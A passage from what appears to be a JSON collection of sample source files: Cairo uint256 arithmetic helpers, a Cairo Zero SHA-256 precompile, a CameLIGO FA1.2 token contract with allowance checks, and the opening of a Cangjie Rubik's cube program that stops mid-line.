    "content": "%lang starknet\n\nfrom starkware.cairo.common.cairo_builtins import HashBuiltin, SignatureBuiltin\nfrom starkware.cairo.common.math import assert_not_zero\nfrom starkware.cairo.common.uint256 import (\n    Uint256, uint256_check, uint256_add, uint256_sub, uint256_le, uint256_lt\n)\n\n# Adds two integers.\n# Reverts if the sum overflows.\nfunc uint256_checked_add{\n        syscall_ptr: felt*,\n        pedersen_ptr: HashBuiltin*,\n        range_check_ptr\n    } (a: Uint256, b: Uint256) -> (c: Uint256):\n    uint256_check(a)\n    uint256_check(b)\n    let (c: Uint256, is_overflow) = uint256_add(a, b)\n    assert (is_overflow) = 0\n    return (c)\nend\n\n# Subtracts two integers.\n# Reverts if minuend (`b`) is greater than subtrahend (`a`).\nfunc uint256_checked_sub_le{\n        syscall_ptr: felt*,\n        pedersen_ptr: HashBuiltin*,\n        range_check_ptr\n    } (a: Uint256, b: Uint256) -> (c: Uint256):\n    alloc_locals\n    uint256_check(a)\n    uint256_check(b)\n    let (is_le) = uint256_le(b, a)\n    assert_not_zero(is_le)\n    let (c: Uint256) = uint256_sub(a, b)\n    return (c)\nend\n\n# Subtracts two integers.\n# Reverts if minuend (`b`) is greater than or equal to subtrahend (`a`).\nfunc uint256_checked_sub_lt{\n        syscall_ptr: felt*,\n        pedersen_ptr: HashBuiltin*,\n        range_check_ptr\n    } (a: Uint256, b: Uint256) -> (c: Uint256):\n    alloc_locals\n    uint256_check(a)\n    uint256_check(b)\n\n    let (is_lt) = uint256_lt(b, a)\n    assert_not_zero(is_lt)\n    let (c: Uint256) = uint256_sub(a, b)\n    return (c)\nend\n"
  },
  {
    "path": "samples/Cairo Zero/sha256.cairo",
    "content": "%lang starknet\n\n// Starkware dependencies\nfrom starkware.cairo.common.alloc import alloc\nfrom starkware.cairo.common.registers import get_fp_and_pc\nfrom starkware.cairo.common.cairo_builtins import HashBuiltin, BitwiseBuiltin\nfrom starkware.cairo.common.math import assert_nn_le, unsigned_div_rem\nfrom starkware.cairo.common.math_cmp import is_le_felt\nfrom starkware.cairo.common.memcpy import memcpy\nfrom starkware.cairo.common.memset import memset\nfrom starkware.cairo.common.pow import pow\nfrom starkware.cairo.common.bool import FALSE\n\n// Internal dependencies\nfrom utils.sha_256.packed_sha256 import (\n    BLOCK_SIZE,\n    compute_message_schedule,\n    sha2_compress,\n    get_round_constants,\n)\nfrom utils.utils import Helpers\n\n// @title SHA2-256 Precompile related functions.\n// @notice This file contains the logic required to run the SHA2-256 precompile\n// @author @ftupas\n// @custom:namespace PrecompileSHA256\nnamespace PrecompileSHA256 {\n    const PRECOMPILE_ADDRESS = 0x02;\n    const GAS_COST_SHA256 = 60;\n\n    // @notice Run the precompile.\n    // @param input_len The length of input array.\n    // @param input The input array.\n    // @return output_len The output length.\n    // @return output The output array.\n    // @return gas_used The gas usage of precompile.\n    func run{\n        syscall_ptr: felt*,\n        pedersen_ptr: HashBuiltin*,\n        range_check_ptr,\n        bitwise_ptr: BitwiseBuiltin*,\n    }(_address: felt, input_len: felt, input: felt*) -> (\n        output_len: felt, output: felt*, gas_used: felt, reverted: felt\n    ) {\n        alloc_locals;\n\n        // Copy input array\n        let (arr: felt*) = alloc();\n        memcpy(arr, input, input_len);\n\n        // Zero-pad bytes array\n        // ex. 'rld\\x00'\n        let (q: felt, r: felt) = unsigned_div_rem(input_len, 4);\n        if (r != 0) {\n            // Append zero elements at the end of array\n            memset(arr + input_len, 0, 4 - r);\n            tempvar arr_len = (q + 1) * 4;\n        } else {\n            tempvar arr_len = q * 4;\n        }\n\n        // Prepare input bytes array to words of 32 bits (big endian).\n        let (prepared_input: felt*) = alloc();\n        let (prepared_input_len, prepared_input: felt*) = Helpers.bytes_to_bytes4_array(\n            arr_len, arr, 0, prepared_input\n        );\n\n        // Compute hash, use input_len for number of bytes\n        let (local sha256_ptr: felt*) = alloc();\n        let sha256_ptr_start = sha256_ptr;\n        let (hash) = SHA256.sha256{sha256_ptr=sha256_ptr}(prepared_input, input_len);\n\n        // Finalize hash\n        SHA256.finalize_sha256(sha256_ptr_start=sha256_ptr_start, sha256_ptr_end=sha256_ptr);\n\n        // Split words and return bytes hash code.\n        let (hash_bytes_array: felt*) = alloc();\n        let (_, hash_bytes_array: felt*) = Helpers.bytes4_array_to_bytes(\n            8, hash, 0, hash_bytes_array\n        );\n        let (minimum_word_size) = Helpers.minimum_word_count(input_len);\n        return (32, hash_bytes_array, 12 * minimum_word_size + GAS_COST_SHA256, 0);\n    }\n}\n\nnamespace SHA256 {\n    const SHA256_INPUT_CHUNK_SIZE_FELTS = 16;\n    const SHA256_INPUT_CHUNK_SIZE_BYTES = 64;\n    const SHA256_STATE_SIZE_FELTS = 8;\n    // Each instance consists of 16 words of message, 8 words for the input state and 8 words\n    // for the output state.\n    const SHA256_INSTANCE_SIZE = SHA256_INPUT_CHUNK_SIZE_FELTS + 2 * SHA256_STATE_SIZE_FELTS;\n\n    // Computes SHA256 of 'input'. Inputs of arbitrary length are supported.\n    // To use this function, split the input into (up to) 14 words of 32 bits (big endian).\n    // For example, to compute sha256('Hello world'), use:\n    //   input = [1214606444, 1864398703, 1919706112]\n    // where:\n    //   1214606444 == int.from_bytes(b'Hell', 'big')\n    //   1864398703 == int.from_bytes(b'o wo', 'big')\n    //   1919706112 == int.from_bytes(b'rld\\x00', 'big')  # Note the '\\x00' padding.\n    //\n    // block layout:\n    // 0 - 15: Message\n    // 16 - 23: Input State\n    // 24 - 32: Output\n    //\n    // output is an array of 8 32-bit words (big endian).\n    //\n    // Note: You must call finalize_sha2() at the end of the program. Otherwise, this function\n    // is not sound and a malicious prover may return a wrong result.\n    // Note: the interface of this function may change in the future.\n    func sha256{range_check_ptr, sha256_ptr: felt*}(data: felt*, n_bytes: felt) -> (output: felt*) {\n        alloc_locals;\n\n        // Set the initial input state to IV.\n        assert sha256_ptr[16] = 0x6A09E667;\n        assert sha256_ptr[17] = 0xBB67AE85;\n        assert sha256_ptr[18] = 0x3C6EF372;\n        assert sha256_ptr[19] = 0xA54FF53A;\n        assert sha256_ptr[20] = 0x510E527F;\n        assert sha256_ptr[21] = 0x9B05688C;\n        assert sha256_ptr[22] = 0x1F83D9AB;\n        assert sha256_ptr[23] = 0x5BE0CD19;\n\n        sha256_inner(data=data, n_bytes=n_bytes, total_bytes=n_bytes);\n\n        // Set `output` to the start of the final state.\n        let output = sha256_ptr;\n        // Set `sha256_ptr` to the end of the output state.\n        let sha256_ptr = sha256_ptr + SHA256_STATE_SIZE_FELTS;\n        return (output,);\n    }\n\n    // Computes the sha256 hash of the input chunk from `message` to `message + SHA256_INPUT_CHUNK_SIZE_FELTS`\n    func _sha256_chunk{range_check_ptr, sha256_start: felt*, state: felt*, output: felt*}() {\n        %{\n            from starkware.cairo.common.cairo_sha256.sha256_utils import (\n                compute_message_schedule, sha2_compress_function)\n\n            _sha256_input_chunk_size_felts = int(ids.SHA256_INPUT_CHUNK_SIZE_FELTS)\n            assert 0 <= _sha256_input_chunk_size_felts < 100\n            _sha256_state_size_felts = int(ids.SHA256_STATE_SIZE_FELTS)\n            assert 0 <= _sha256_state_size_felts < 100\n            w = compute_message_schedule(memory.get_range(\n                ids.sha256_start, _sha256_input_chunk_size_felts))\n            new_state = sha2_compress_function(memory.get_range(ids.state, _sha256_state_size_felts), w)\n            segments.write_arg(ids.output, new_state)\n        %}\n        return ();\n    }\n\n    // Inner loop for sha256. `sha256_ptr` points to the start of the block.\n    func sha256_inner{range_check_ptr, sha256_ptr: felt*}(\n        data: felt*, n_bytes: felt, total_bytes: felt\n    ) {\n        alloc_locals;\n\n        let message = sha256_ptr;\n        let state = sha256_ptr + SHA256_INPUT_CHUNK_SIZE_FELTS;\n        let output = state + SHA256_STATE_SIZE_FELTS;\n\n        let zero_bytes = is_le_felt(n_bytes, 0);\n        let zero_total_bytes = is_le_felt(total_bytes, 0);\n\n        // If the previous message block was full we are still missing \"1\" at the end of the message\n        let (_, r_div_by_64) = unsigned_div_rem(total_bytes, 64);\n        let missing_bit_one = is_le_felt(r_div_by_64, 0);\n\n        // This works for 0 total bytes too, because zero_chunk will be -1 and, therefore, not 0.\n        let zero_chunk = zero_bytes - zero_total_bytes - missing_bit_one;\n\n        let is_last_block = is_le_felt(n_bytes, 55);\n        if (is_last_block == FALSE) {\n            let (q, r) = unsigned_div_rem(n_bytes, SHA256_INPUT_CHUNK_SIZE_BYTES);\n            let is_remainder_block = is_le_felt(q, 0);\n            if (is_remainder_block == FALSE) {\n                _sha256_input(\n                    data, SHA256_INPUT_CHUNK_SIZE_BYTES, SHA256_INPUT_CHUNK_SIZE_FELTS, 0\n                );\n                _sha256_chunk{sha256_start=message, state=state, output=output}();\n\n                let sha256_ptr = sha256_ptr + SHA256_STATE_SIZE_FELTS;\n                memcpy(\n                    output + SHA256_STATE_SIZE_FELTS + SHA256_INPUT_CHUNK_SIZE_FELTS,\n                    output,\n                    SHA256_STATE_SIZE_FELTS,\n                );\n                let sha256_ptr = sha256_ptr + SHA256_STATE_SIZE_FELTS;\n\n                return sha256_inner(\n                    data=data + SHA256_INPUT_CHUNK_SIZE_FELTS,\n                    n_bytes=n_bytes - SHA256_INPUT_CHUNK_SIZE_BYTES,\n                    total_bytes=total_bytes,\n                );\n            } else {\n                _sha256_input(data, r, SHA256_INPUT_CHUNK_SIZE_FELTS, 0);\n                _sha256_chunk{sha256_start=message, state=state, output=output}();\n\n                let sha256_ptr = sha256_ptr + SHA256_STATE_SIZE_FELTS;\n                memcpy(\n                    output + SHA256_STATE_SIZE_FELTS + SHA256_INPUT_CHUNK_SIZE_FELTS,\n                    output,\n                    SHA256_STATE_SIZE_FELTS,\n                );\n                let sha256_ptr = sha256_ptr + SHA256_STATE_SIZE_FELTS;\n\n                return sha256_inner(data=data, n_bytes=n_bytes - r, total_bytes=total_bytes);\n            }\n        }\n\n        _sha256_input(data, n_bytes, SHA256_INPUT_CHUNK_SIZE_FELTS - 2, zero_chunk);\n        // Append the original message length at the end of the message block as a 64-bit big-endian integer.\n        assert sha256_ptr[0] = 0;\n        assert sha256_ptr[1] = total_bytes * 8;\n        let sha256_ptr = sha256_ptr + 2;\n        _sha256_chunk{sha256_start=message, state=state, output=output}();\n        let sha256_ptr = sha256_ptr + SHA256_STATE_SIZE_FELTS;\n\n        return ();\n    }\n\n    // 1. Encode the input to binary using UTF-8 and append a single '1' to it.\n    // 2. Prepend that binary to the message block.\n    func _sha256_input{range_check_ptr, sha256_ptr: felt*}(\n        input: felt*, n_bytes: felt, n_words: felt, pad_chunk: felt\n    ) {\n        alloc_locals;\n\n        local full_word;\n        %{ ids.full_word = int(ids.n_bytes >= 4) %}\n\n        if (full_word != 0) {\n            assert sha256_ptr[0] = input[0];\n            let sha256_ptr = sha256_ptr + 1;\n            return _sha256_input(\n                input=input + 1, n_bytes=n_bytes - 4, n_words=n_words - 1, pad_chunk=pad_chunk\n            );\n        }\n\n        if (n_words == 0) {\n            return ();\n        }\n\n        if (n_bytes == 0 and pad_chunk == 1) {\n            // Add zeros between the encoded message and the length integer so that the message block is a multiple of 512.\n            memset(dst=sha256_ptr, value=0, n=n_words);\n            let sha256_ptr = sha256_ptr + n_words;\n            return ();\n        }\n\n        if (n_bytes == 0) {\n            // This is the last input word, so we should add a byte '0x80' at the end and fill the rest with zeros.\n            assert sha256_ptr[0] = 0x80000000;\n            // Add zeros between the encoded message and the length integer so that the message block is a multiple of 512.\n            memset(dst=sha256_ptr + 1, value=0, n=n_words - 1);\n            let sha256_ptr = sha256_ptr + n_words;\n            return ();\n        }\n\n        assert_nn_le(n_bytes, 3);\n        let (padding) = pow(256, 3 - n_bytes);\n        local range_check_ptr = range_check_ptr;\n\n        assert sha256_ptr[0] = input[0] + padding * 0x80;\n\n        memset(dst=sha256_ptr + 1, value=0, n=n_words - 1);\n        let sha256_ptr = sha256_ptr + n_words;\n        return ();\n    }\n\n    // Handles n blocks of BLOCK_SIZE SHA256 instances.\n    // Taken from: https://github.com/starkware-libs/cairo-examples/blob/0d88b41bffe3de112d98986b8b0afa795f9d67a0/sha256/sha256.cairo#L102\n    func _finalize_sha256_inner{range_check_ptr, bitwise_ptr: BitwiseBuiltin*}(\n        sha256_ptr: felt*, n: felt, round_constants: felt*\n    ) {\n        if (n == 0) {\n            return ();\n        }\n\n        alloc_locals;\n\n        local MAX_VALUE = 2 ** 32 - 1;\n\n        let sha256_start = sha256_ptr;\n\n        let (local message_start: felt*) = alloc();\n        let (local input_state_start: felt*) = alloc();\n\n        // Handle message.\n\n        tempvar message = message_start;\n        tempvar sha256_ptr = sha256_ptr;\n        tempvar range_check_ptr = range_check_ptr;\n        tempvar m = SHA256_INPUT_CHUNK_SIZE_FELTS;\n\n        message_loop:\n        tempvar x0 = sha256_ptr[0 * SHA256_INSTANCE_SIZE];\n        assert [range_check_ptr + 0] = x0;\n        assert [range_check_ptr + 1] = MAX_VALUE - x0;\n        tempvar x1 = sha256_ptr[1 * SHA256_INSTANCE_SIZE];\n        assert [range_check_ptr + 2] = x1;\n        assert [range_check_ptr + 3] = MAX_VALUE - x1;\n        tempvar x2 = sha256_ptr[2 * SHA256_INSTANCE_SIZE];\n        assert [range_check_ptr + 4] = x2;\n        assert [range_check_ptr + 5] = MAX_VALUE - x2;\n        tempvar x3 = sha256_ptr[3 * SHA256_INSTANCE_SIZE];\n        assert [range_check_ptr + 6] = x3;\n        assert [range_check_ptr + 7] = MAX_VALUE - x3;\n        tempvar x4 = sha256_ptr[4 * SHA256_INSTANCE_SIZE];\n        assert [range_check_ptr + 8] = x4;\n        assert [range_check_ptr + 9] = MAX_VALUE - x4;\n        tempvar x5 = sha256_ptr[5 * SHA256_INSTANCE_SIZE];\n        assert [range_check_ptr + 10] = x5;\n        assert [range_check_ptr + 11] = MAX_VALUE - x5;\n        tempvar x6 = sha256_ptr[6 * SHA256_INSTANCE_SIZE];\n        assert [range_check_ptr + 12] = x6;\n        assert [range_check_ptr + 13] = MAX_VALUE - x6;\n        assert message[0] = x0 + 2 ** 35 * x1 + 2 ** (35 * 2) * x2 + 2 ** (35 * 3) * x3 + 2 ** (\n            35 * 4\n        ) * x4 + 2 ** (35 * 5) * x5 + 2 ** (35 * 6) * x6;\n\n        tempvar message = message + 1;\n        tempvar sha256_ptr = sha256_ptr + 1;\n        tempvar range_check_ptr = range_check_ptr + 14;\n        tempvar m = m - 1;\n        jmp message_loop if m != 0;\n\n        // Handle input state.\n\n        tempvar input_state = input_state_start;\n        tempvar sha256_ptr = sha256_ptr;\n        tempvar range_check_ptr = range_check_ptr;\n        tempvar m = SHA256_STATE_SIZE_FELTS;\n\n        input_state_loop:\n        tempvar x0 = sha256_ptr[0 * SHA256_INSTANCE_SIZE];\n        assert [range_check_ptr + 0] = x0;\n        assert [range_check_ptr + 1] = MAX_VALUE - x0;\n        tempvar x1 = sha256_ptr[1 * SHA256_INSTANCE_SIZE];\n        assert [range_check_ptr + 2] = x1;\n        assert [range_check_ptr + 3] = MAX_VALUE - x1;\n        tempvar x2 = sha256_ptr[2 * SHA256_INSTANCE_SIZE];\n        assert [range_check_ptr + 4] = x2;\n        assert [range_check_ptr + 5] = MAX_VALUE - x2;\n        tempvar x3 = sha256_ptr[3 * SHA256_INSTANCE_SIZE];\n        assert [range_check_ptr + 6] = x3;\n        assert [range_check_ptr + 7] = MAX_VALUE - x3;\n        tempvar x4 = sha256_ptr[4 * SHA256_INSTANCE_SIZE];\n        assert [range_check_ptr + 8] = x4;\n        assert [range_check_ptr + 9] = MAX_VALUE - x4;\n        tempvar x5 = sha256_ptr[5 * SHA256_INSTANCE_SIZE];\n        assert [range_check_ptr + 10] = x5;\n        assert [range_check_ptr + 11] = MAX_VALUE - x5;\n        tempvar x6 = sha256_ptr[6 * SHA256_INSTANCE_SIZE];\n        assert [range_check_ptr + 12] = x6;\n        assert [range_check_ptr + 13] = MAX_VALUE - x6;\n        assert input_state[0] = x0 + 2 ** 35 * x1 + 2 ** (35 * 2) * x2 + 2 ** (35 * 3) * x3 + 2 ** (\n            35 * 4\n        ) * x4 + 2 ** (35 * 5) * x5 + 2 ** (35 * 6) * x6;\n\n        tempvar input_state = input_state + 1;\n        tempvar sha256_ptr = sha256_ptr + 1;\n        tempvar range_check_ptr = range_check_ptr + 14;\n        tempvar m = m - 1;\n        jmp input_state_loop if m != 0;\n\n        // Run sha256 on the 7 instances.\n\n        local sha256_ptr: felt* = sha256_ptr;\n        local range_check_ptr = range_check_ptr;\n        compute_message_schedule(message_start);\n        let (outputs) = sha2_compress(input_state_start, message_start, round_constants);\n        local bitwise_ptr: BitwiseBuiltin* = bitwise_ptr;\n\n        // Handle outputs.\n\n        tempvar outputs = outputs;\n        tempvar sha256_ptr = sha256_ptr;\n        tempvar range_check_ptr = range_check_ptr;\n        tempvar m = SHA256_STATE_SIZE_FELTS;\n\n        output_loop:\n        tempvar x0 = sha256_ptr[0 * SHA256_INSTANCE_SIZE];\n        assert [range_check_ptr] = x0;\n        assert [range_check_ptr + 1] = MAX_VALUE - x0;\n        tempvar x1 = sha256_ptr[1 * SHA256_INSTANCE_SIZE];\n        assert [range_check_ptr + 2] = x1;\n        assert [range_check_ptr + 3] = MAX_VALUE - x1;\n        tempvar x2 = sha256_ptr[2 * SHA256_INSTANCE_SIZE];\n        assert [range_check_ptr + 4] = x2;\n        assert [range_check_ptr + 5] = MAX_VALUE - x2;\n        tempvar x3 = sha256_ptr[3 * SHA256_INSTANCE_SIZE];\n        assert [range_check_ptr + 6] = x3;\n        assert [range_check_ptr + 7] = MAX_VALUE - x3;\n        tempvar x4 = sha256_ptr[4 * SHA256_INSTANCE_SIZE];\n        assert [range_check_ptr + 8] = x4;\n        assert [range_check_ptr + 9] = MAX_VALUE - x4;\n        tempvar x5 = sha256_ptr[5 * SHA256_INSTANCE_SIZE];\n        assert [range_check_ptr + 10] = x5;\n        assert [range_check_ptr + 11] = MAX_VALUE - x5;\n        tempvar x6 = sha256_ptr[6 * SHA256_INSTANCE_SIZE];\n        assert [range_check_ptr + 12] = x6;\n        assert [range_check_ptr + 13] = MAX_VALUE - x6;\n\n        assert outputs[0] = x0 + 2 ** 35 * x1 + 2 ** (35 * 2) * x2 + 2 ** (35 * 3) * x3 + 2 ** (\n            35 * 4\n        ) * x4 + 2 ** (35 * 5) * x5 + 2 ** (35 * 6) * x6;\n\n        tempvar outputs = outputs + 1;\n        tempvar sha256_ptr = sha256_ptr + 1;\n        tempvar range_check_ptr = range_check_ptr + 14;\n        tempvar m = m - 1;\n        jmp output_loop if m != 0;\n\n        return _finalize_sha256_inner(\n            sha256_ptr=sha256_start + SHA256_INSTANCE_SIZE * BLOCK_SIZE,\n            n=n - 1,\n            round_constants=round_constants,\n        );\n    }\n\n    // Verifies that the results of sha256() are valid.\n    // Taken from: https://github.com/starkware-libs/cairo-examples/blob/0d88b41bffe3de112d98986b8b0afa795f9d67a0/sha256/sha256.cairo#L246\n    func finalize_sha256{range_check_ptr, bitwise_ptr: BitwiseBuiltin*}(\n        sha256_ptr_start: felt*, sha256_ptr_end: felt*\n    ) {\n        alloc_locals;\n\n        let (__fp__, _) = get_fp_and_pc();\n\n        let (round_constants) = get_round_constants();\n\n        // We reuse the output state of the previous chunk as input to the next.\n        tempvar n = (sha256_ptr_end - sha256_ptr_start) / SHA256_INSTANCE_SIZE;\n        if (n == 0) {\n            return ();\n        }\n\n        %{\n            # Add dummy pairs of input and output.\n            from starkware.cairo.common.cairo_sha256.sha256_utils import (\n                IV, compute_message_schedule, sha2_compress_function)\n\n            _block_size = int(ids.BLOCK_SIZE)\n            assert 0 <= _block_size < 20\n            _sha256_input_chunk_size_felts = int(ids.SHA256_INPUT_CHUNK_SIZE_FELTS)\n            assert 0 <= _sha256_input_chunk_size_felts < 100\n\n            message = [0] * _sha256_input_chunk_size_felts\n            w = compute_message_schedule(message)\n            output = sha2_compress_function(IV, w)\n            padding = (message + IV + output) * (_block_size - 1)\n            segments.write_arg(ids.sha256_ptr_end, padding)\n        %}\n\n        // Compute the amount of blocks (rounded up).\n        let (local q, r) = unsigned_div_rem(n + BLOCK_SIZE - 1, BLOCK_SIZE);\n        _finalize_sha256_inner(sha256_ptr_start, n=q, round_constants=round_constants);\n        return ();\n    }\n}\n"
  },
  {
    "path": "samples/CameLIGO/FA1.2.mligo",
    "content": "(**\n   This file implements the TZIP-7 protocol (a.k.a FA1.2)\n   copyright Wulfman Corporation 2022\n*)\n\n(*\n   Errors\n*)\nmodule Errors = struct\n   let notEnoughBalance   = \"NotEnoughBalance\"\n   let notEnoughAllowance = \"NotEnoughAllowance\"\n   (* Extra error, see: https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/edit *)\n   let vulnerable_operation = \"Switching allowances from N to M is a vulnerability\"\nend\n\nmodule Allowance = struct\n   type spender        = address\n   type allowed_amount = nat\n\ttype t = (spender, allowed_amount) map\n\n   let get_allowed_amount (a:t) (spender:spender) =\n      match Map.find_opt spender a with\n         Some v -> v | None -> 0n\n\n   let set_allowed_amount (a:t) (spender:spender) (allowed_amount:allowed_amount) =\n      if allowed_amount > 0n then Map.add spender allowed_amount a else a\nend\n\nmodule Ledger = struct\n   type owner      = address\n   type spender    = address\n   type amount_    = nat\n   type t = (owner, amount_ * Allowance.t) big_map\n\n   let get_for_user (ledger:t) (owner: owner) : amount_ * Allowance.t =\n      match Big_map.find_opt owner ledger with\n         Some (tokens) -> tokens\n      |  None          -> 0n,(Map.empty : Allowance.t)\n\n   let update_for_user (ledger:t) (owner: owner) (amount_ : amount_) (allowances : Allowance.t) : t =\n      Big_map.update owner (Some (amount_,allowances)) ledger\n\n   let set_approval (ledger:t) (owner: owner) (spender : spender) (allowed_amount: amount_) =\n      let tokens,allowances = get_for_user ledger owner in\n      let previous_allowances = Allowance.get_allowed_amount allowances spender in\n      let () = assert_with_error (previous_allowances = 0n || allowed_amount = 0n) Errors.vulnerable_operation in\n      let allowances = Allowance.set_allowed_amount allowances spender allowed_amount in\n      let ledger     = update_for_user ledger owner tokens allowances in\n      ledger\n\n   let decrease_token_amount_for_user (ledger : t) (spender : spender) (from_ : owner) (amount_ : amount_) : t =\n      let tokens,allowances = get_for_user ledger from_ in\n      let allowed_amount    = if spender = from_ then tokens else\n         Allowance.get_allowed_amount allowances spender in\n      let () = assert_with_error (allowed_amount >= amount_) Errors.notEnoughAllowance in\n      let () = assert_with_error (tokens >= amount_) Errors.notEnoughBalance in\n      let tokens = abs(tokens - amount_) in\n      let ledger = update_for_user ledger from_ tokens allowances in\n      ledger\n\n   let increase_token_amount_for_user (ledger : t) (to_   : owner) (amount_ : amount_) : t =\n      let tokens,allowances = get_for_user ledger to_ in\n      let tokens = tokens + amount_ in\n      let ledger = update_for_user ledger to_ tokens allowances in\n      ledger\nend\n\nmodule TokenMetadata = struct\n   (**\n      This should be initialized at origination, conforming to either\n      TZIP-12 : https://gitlab.com/tezos/tzip/-/blob/master/proposals/tzip-12/tzip-12.md#token-metadata\n      or TZIP-16 : https://gitlab.com/tezos/tzip/-/blob/master/proposals/tzip-12/tzip-12.md#contract-metadata-tzip-016\n   *)\n   type data = {token_id:nat;token_info:(string,bytes)map}\n   type t = data\nend\n\nmodule Storage = struct\n   type t = {\n      ledger : Ledger.t;\n      token_metadata : TokenMetadata.t;\n      totalSupply : nat;\n      (* Note: memoizing the sum of all participant balance reduce the cost of getTotalSupply entrypoint.\n         However, with this pattern the value has to be manually set at origination which can lead to consistency issues.\n      *)\n   }\n\n   let get_amount_for_owner (s:t) (owner : address) =\n      let amount_,_ = Ledger.get_for_user s.ledger owner in\n      amount_\n\n   let get_allowances_for_owner (s:t) (owner : address) =\n      let _,allowances = Ledger.get_for_user s.ledger owner in\n      allowances\n\n   let get_ledger (s:t) = s.ledger\n   let set_ledger (s:t) (ledger:Ledger.t) = {s with ledger = ledger}\n\nend\n\n\ntype storage = Storage.t\n\n\n(** transfer entrypoint *)\ntype transfer = address * (address * nat)\nlet transfer (from_,(to_,value):transfer) (s:storage) =\n   let ledger = Storage.get_ledger s in\n   let ledger = Ledger.decrease_token_amount_for_user ledger Tezos.sender from_ value in\n   let ledger = Ledger.increase_token_amount_for_user ledger to_   value in\n   let s = Storage.set_ledger s ledger in\n   ([]: operation list),s\n\n(** approve *)\ntype approve = (address * nat)\nlet approve (spender,value : approve) (s:storage) =\n   let ledger = Storage.get_ledger s in\n   let ledger = Ledger.set_approval ledger Tezos.sender spender value in\n   let s = Storage.set_ledger s ledger in\n   ([]: operation list),s\n\n(** getBalance entrypoint *)\ntype getAllowance = (address * address) * nat contract\nlet getAllowance (((owner,spender),callback): getAllowance) (s: storage) =\n   let a = Storage.get_allowances_for_owner s owner in\n   let allowed_amount = Allowance.get_allowed_amount a spender in\n   let operation = Tezos.transaction allowed_amount 0tez callback in\n   ([operation]: operation list),s\n\n(** getBalance entrypoint *)\ntype getBalance = address * nat contract\nlet getBalance ((owner,callback): getBalance) (s: storage) =\n   let balance_ = Storage.get_amount_for_owner s owner in\n   let operation = Tezos.transaction balance_ 0tez callback in\n   ([operation]: operation list),s\n\n(** getTotalSupply entrypoint *)\ntype getTotalSupply = unit * nat contract\nlet getTotalSupply ((),callback : getTotalSupply) (s:storage) =\n   let operation = Tezos.transaction s.totalSupply 0tez callback in\n   ([operation]: operation list),s\n\n\ntype parameter = Transfer of transfer | Approve of approve | GetAllowance of getAllowance | GetBalance of getBalance | GetTotalSupply of getTotalSupply\nlet main ((p,s):(parameter * storage)) = match p with\n   Transfer       p -> transfer       p s\n|  Approve        p -> approve        p s\n|  GetAllowance   p -> getAllowance   p s\n|  GetBalance     p -> getBalance     p s\n|  GetTotalSupply p -> getTotalSupply p s\n"
  },
  {
    "path": "samples/Cangjie/cube.cj",
    "content": "package cangjie\n\nimport std.collection.*\n\nenum Rotation <: ToString & Hashable & Equatable<Rotation> {\n    F\n    | B\n    | L\n    | R\n    | U\n    | D\n    | X(Rotation, Rotation) \n    | I(Rotation) \n\n    \n    public operator func *(that: Rotation): Rotation {\n        match (this) {\n            case X(x1, x2) => X(x1, X(x2, that)) \n            case _ => X(this, that)\n        }\n    }\n\n    \n    public operator func **(exp: UInt32): Rotation {\n        var result = this\n        for (_ in 0..(exp - 1)) {\n            result = result * this\n        }\n        return result\n    }\n\n    \n    private func text(inv: Bool): String {\n        let exp = if (inv) {\n            \"⁻¹\"\n        } else {\n            \"\"\n        }\n        match (this) {\n            case F => \"F${exp}\"\n            case B => \"B${exp}\"\n            case L => \"L${exp}\"\n            case R => \"R${exp}\"\n            case U => \"U${exp}\"\n            case D => \"D${exp}\"\n            case I(r) => r.text(!inv)\n            case X(x1, x2) =>\n                if (inv) { \n                    x2.text(inv) + x1.text(inv)\n                } else {\n                    x1.text(inv) + x2.text(inv)\n                }\n        }\n    }\n\n    public func toString(): String {\n        text(false)\n    }\n\n    \n    public func hashCode(): Int64 {\n        this.toString().hashCode()\n    }\n\n    public operator func ==(that: Rotation): Bool {\n        this.toString() == that.toString()\n    }\n\n    public operator func !=(that: Rotation): Bool {\n        this.toString() != that.toString()\n    }\n}\n\ntype Face = Rotation\n\ntype Vector = Array<(Face, Int64)>\n\ntype Matrix = Array<Vector>\n\nenum Index {\n    Row(Int64) | Col(Int64) | Inv(Index)\n    \n    public operator func -(): Index {\n        match (this) {\n            case Inv(v) => v\n            case _ => Inv(this)\n        }\n    }\n    \n    public func value(): Index {\n        match (this) {\n            case Inv(v) => v\n            case _ => this\n        }\n    }\n}\n\nextend Matrix {\n    \n    public static func create(face: Face) {\n        Matrix(\n            3,\n            {\n                i => Vector(3, {j => (face, 3 * i + j + 1)})\n            }\n        )\n    }\n\n    \n    public operator func [](index: Index): Vector {\n        match (index) {\n            case Row(r) => this[r].clone()\n            case Col(c) => Vector(this.size, {i => this[i][c]})\n            case Inv(i) => this[i] \n        }\n    }\n\n    \n    public func set(index: Index, value: Vector): Unit {\n        match (index) {\n            case Row(r) => this[r] = value\n            case Col(c) => for (i in 0..value.size) {\n                this[i][c] = value[i]\n            }\n            case Inv(i) => \n                value.reverse()\n                this.set(i, value)\n        }\n    }\n\n    \n    public func print(row: Int64) {\n        for ((face, id) in this[row]) {\n            print(\"${face}${id} \")\n        }\n    }\n\n    \n    public func print() {\n        for (row in 0..this.size) {\n            print(\"         \")\n            print(row)\n            println()\n        }\n    }\n}\n\n\nextend Int64 {\n    public prop r: Index {\n        get() {\n            Index.Row(this)\n        }\n    }\n    public prop c: Index {\n        get() {\n            Index.Col(this)\n        }\n    }\n}\n\n\n\ntype Permutation = Array<(Face, Index)>\n\nextend Permutation {\n    \n    public func inverse() {\n        let perm = this.clone()\n        for (i in 0..perm.size) {\n            let j = (i + 1) % perm.size\n            let (face, index) = this[i] \n            if (let Inv(_) <- this[j][1]) { \n                perm[i] = (face, -(index.value()))\n            } else {\n                perm[i] = (face, index.value())\n            }\n        }\n        perm.reverse()\n        return perm\n    }\n}\n\nclass Cube {\n    public let data = HashMap<Face, Matrix>()\n    private var history = ArrayList<Rotation>()\n    private static let permutation = HashMap<Face, Permutation>()\n\n    public init() {\n        reset()\n    }\n\n    static init() {\n        \n        permutation[F] = [(L, 2.c), (U, -2.r), (R, 0.c), (D, -0.r)]\n        permutation[B] = [(L, -0.c), (D, 2.r), (R, -2.c), (U, 0.r)]\n        permutation[L] = [(U, 0.c), (F, 0.c), (D, 0.c), (B, 0.c)]\n        permutation[R] = [(B, 2.c), (D, 2.c), (F, 2.c), (U, 2.c)]\n        permutation[U] = [(L, 0.r), (B, -2.r), (R, -0.r), (F, 0.r)]\n        permutation[D] = [(R, 2.r), (B, -0.r), (L, -2.r), (F, 2.r)]\n    }\n\n    public func reset() {\n        history = 